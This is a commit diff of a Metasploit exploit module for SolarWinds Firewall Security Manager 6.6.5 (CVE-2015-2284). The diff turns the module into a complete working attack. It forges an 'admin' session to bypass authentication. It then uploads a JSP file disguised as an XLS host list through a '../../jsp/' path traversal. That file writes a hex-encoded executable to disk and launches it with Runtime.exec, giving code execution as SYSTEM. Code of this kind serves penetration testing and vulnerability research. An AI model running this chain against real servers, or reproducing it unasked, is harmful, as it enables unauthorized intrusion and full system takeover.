This is final

bug/bundler_fix
sinn3r 2015-04-01 12:00:49 -05:00
parent 0ee858cd65
commit 0b14a18ad2
1 changed files with 81 additions and 15 deletions

View File

@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={}) def initialize(info={})
super(update_info(info, super(update_info(info,
@ -19,30 +20,33 @@ class Metasploit3 < Msf::Exploit::Remote
6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface 6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface
due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set
the 'username' attribute before authentication. The second problem is that the settings-new.jsp the 'username' attribute before authentication. The second problem is that the settings-new.jsp
file will only check the 'username' attribute before authorizing the 'uploadFile' action, which file will only check the 'username' attribute before authorizing the 'uploadFile' action,
can be exploited and allows the attacker to upload a fake xls file to the server, and results which can be exploited and allows the attacker to upload a fake xls host list file to the
in arbitrary code execution. server, and results in arbitrary code execution under the context of SYSTEM.
Depending on the installation, by default the Change Advisor web server is listening on port Depending on the installation, by default the Change Advisor web server is listening on port
48080 for an express install. Otherwise, this service may appear on port 8080. 48080 for an express install. Otherwise, this service may appear on port 8080.
Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip. You may
download it from the module's References section.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
[ [
'rgod', # Original discovery 'rgod', # Original discovery
'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_
'sinn3r' # Metasploit 'sinn3r' # Metasploit
], ],
'References' => 'References' =>
[ [
['CVE', '2015-2284'],
['OSVDB', '81634'], ['OSVDB', '81634'],
['ZDI', '15-107'],
['URL', 'http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip']
], ],
'Payload' =>
{
'BadChars' => "\x00",
},
'DefaultOptions' => 'DefaultOptions' =>
{ {
'RPORT' => 48080 'RPORT' => 48080 # Could be 8080 too
}, },
'Platform' => 'win', 'Platform' => 'win',
'Targets' => 'Targets' =>
@ -78,14 +82,22 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::NotVulnerable, 'Target does not appear to be a Solarwinds Firewall Security Manager') fail_with(Failure::NotVulnerable, 'Target does not appear to be a Solarwinds Firewall Security Manager')
end end
# Stage 1 of the attack
# 'admin' is there by default and you can't delete it
username = 'admin' username = 'admin'
print_status("Auth bypass: Putting session value: username=#{username}") print_status("Auth bypass: Putting session value: username=#{username}")
sid = put_session_value('admin') sid = put_session_value('admin')
print_status("Your SID is: #{sid}") print_status("Your SID is: #{sid}")
# Stage 2 of the attack
exe = generate_payload_exe(code: payload.encoded)
filename = "#{Rex::Text.rand_text_alpha(5)}.jsp" filename = "#{Rex::Text.rand_text_alpha(5)}.jsp"
malicious_file = get_jsp_payload # Because when we get a shell, we will be at:
print_status("Uploading file: #{filename}") # C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
# So we have to adjust this filename in order to delete the file
register_files_for_cleanup("../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{filename}")
malicious_file = get_jsp_payload(exe, filename)
print_status("Uploading file: #{filename} (#{exe.length} bytes)")
upload_exec(sid, filename, malicious_file) upload_exec(sid, filename, malicious_file)
end end
@ -93,9 +105,53 @@ class Metasploit3 < Msf::Exploit::Remote
private private
# Returns a write-stager
# I grabbed this from Juan's sonicwall_gms_uploaded.rb module
def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
jspraw << %Q|int numbytes = data.length();\n|
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|
jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|
jspraw
end
# Returns JSP that executes stuff
# This is also from Juan's sonicwall_gms_uploaded.rb module
def jsp_execute_command(command)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|try {\n|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
jspraw << %Q|} catch (IOException ioe) { }\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|
jspraw
end
# Returns a JSP payload # Returns a JSP payload
def get_jsp_payload def get_jsp_payload(exe, output_file)
'evil inside' jsp_drop_bin(exe, output_file) + jsp_execute_command(output_file)
end end
@ -108,7 +164,7 @@ class Metasploit3 < Msf::Exploit::Remote
) )
unless res unless res
fail_with(Failure::Unknown, 'The connection timed out while setting the session value') fail_with(Failure::Unknown, 'The connection timed out while setting the session value.')
end end
get_sid(res) get_sid(res)
@ -128,13 +184,14 @@ class Metasploit3 < Msf::Exploit::Remote
res = upload_file(sid, filename, malicious_file) res = upload_file(sid, filename, malicious_file)
if !res if !res
fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file') fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file.')
elsif res && res.body.include?('java.lang.NoClassDefFoundError') elsif res && res.body.include?('java.lang.NoClassDefFoundError')
print_status("Payload being treated as XLS, indicates a successful upload.") print_status("Payload being treated as XLS, indicates a successful upload.")
else else
print_status("Unsure of a successful upload, but we're going to try to execute anyway") print_status("Unsure of a successful upload.")
end end
print_status("Attempting to execute the payload.")
exec_file(sid, filename) exec_file(sid, filename)
end end
@ -143,6 +200,10 @@ class Metasploit3 < Msf::Exploit::Remote
# By default, the file will be saved at the following location: # By default, the file will be saved at the following location:
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\ # C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\
def upload_file(sid, filename, malicious_file) def upload_file(sid, filename, malicious_file)
# Put our payload in:
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\jsp\
filename = "../../jsp/#{filename}"
mime_data = Rex::MIME::Message.new mime_data = Rex::MIME::Message.new
mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"#{filename}\"") mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"#{filename}\"")
mime_data.add_part('uploadFile', nil, nil, 'name="action"') mime_data.add_part('uploadFile', nil, nil, 'name="action"')
@ -163,7 +224,12 @@ class Metasploit3 < Msf::Exploit::Remote
# Executes the malicious file and get code execution # Executes the malicious file and get code execution
# We will be at this location:
# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
def exec_file(sid, filename) def exec_file(sid, filename)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fsm', filename)
)
end end